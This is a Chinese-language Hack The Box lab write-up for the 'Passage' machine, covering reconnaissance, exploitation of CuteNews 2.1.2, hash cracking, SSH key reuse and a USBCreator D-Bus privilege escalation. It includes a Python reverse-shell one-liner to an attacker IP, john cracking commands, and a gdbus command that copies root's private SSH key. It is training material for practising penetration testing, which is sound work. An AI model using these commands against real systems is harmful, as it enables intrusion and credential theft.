HTB Passage 打靶思路
文章结构
-
前期侦查 -
枚举网页 -
漏洞利用 -
爆破密码 -
提升权限
前期侦查
使用Nmap去扫描服务器上运行开放的端口
nmap -sT -sC -sV 10.10.10.206
# 参数解释
-sT TCP扫描
-sC 使用默认的Script扫描
-sV 枚举服务版本
枚举下来发现一共就开放了2个端口,分别是22和80端口。
枚举网页
尝试使用Gobuster
和Nikto
,但是都没有结果,并且会丢失连接。这是默认页面,然后我前思后想打开第一个文章
**Implemented Fail2Ban**
。他们安装了 Fail2Ban,这是一个入侵防御软件框架,相当于多了个WAF。。。
因此,我不能进行爆破等操作,所以现在我有两个选择:
-
编写一个python 脚本,通过每秒发送一个请求来暴力破解目录(可能要很久很久)。 -
手动枚举 所以我选择了手动枚举,我看了源代码,发现这台机器正在运行一个叫做 CuteNews 的 CMS
然后我尝试去访问
CuteNews
目录,最终得到了一个登陆界面并且可以知道版本号是2.1.2。
然后我尝试了一些默认的账号密码以及弱密码。例如说:
-
admin: admin -
admin: password -
admin: 123456 但是都不能登陆,所以照目前看来爆破密码也不行,因为会被封,那么只能尝试注册登录了。
接着我就能进入普通用户的后台了。
漏洞利用
我在exploitdb
搜索有关于CuteNews2.1.2
相关的漏洞,发现有4个存在的漏洞,其中有文件上传和文件包含以及一个RCE。
看到有一个
Metasploit
的模块,但是我不想用。所以最终选择了使用python的第一个RCE脚本。
能够进行利用,并且这个exploit能够让我去执行服务器上的命令。
然后我就用python来反弹shell。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.70",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用pty来升级完整shell。
python3 -c 'import pty;pty.spawn("/bin/bash");'
ctl+z
stty raw -echo
fg
export TERM=xterm-256color
看了一下/etc/passwd
里面的用户,有两个用户是能够通过ssh进行登陆的,分别是Paul和Nadav。
尝试访问这两个用户的目录但是都是没权限的。
然后我开始枚举Web文件希望找到一些敏感数据,我发现它有一个名为
users
的文件夹,该文件夹包含以Base-64
加密的用户数据
名为“lines”的文件包含所有作为 JSON 对象的用户数据,并以 Base-64 加密
通过Base-64解密内容,解密文件内容后,我得到了 paul 的密码,但它也被加密了
爆破密码
通过得到的hash我需要来看看这是属于什么加密方式,使用hash-identifier
。
显示很有可能是SHA-256,那就试试用john去爆破。
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256 paul
最终得到paul的密码,然后尝试使用su去登录paul。
我查看了用户 paul 的
/.ssh
,并阅读了authorized_keys
文件,发现 paul 和 Nadav 正在使用共享 ssh 密钥登录机器
所以我把id_rsa
复制到本地上,修改权限,然后尝试使用id_rsa
登陆nadav
。
最终能够登陆成功。
权限提升
在 nadav 主目录中,我们看到一个 .viminfo
文件,其中包含 vim 的缓存信息。
在这个文件中,我可以看到用户 nadav 有一些 .conf 文件,我搜索了与这些文件相关的权限提升方法,并发现了这篇文章。https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
使用文章所提到的命令来尝试进行提权。
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/rooting/id_rsa true
然后它将会生成一个id_rsa
的文件,接着就可以使用ssh在内部登陆root了。
原文始发于微信公众号(Aaron与安全的那些事):HTB-Passage(文末有考证福利)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论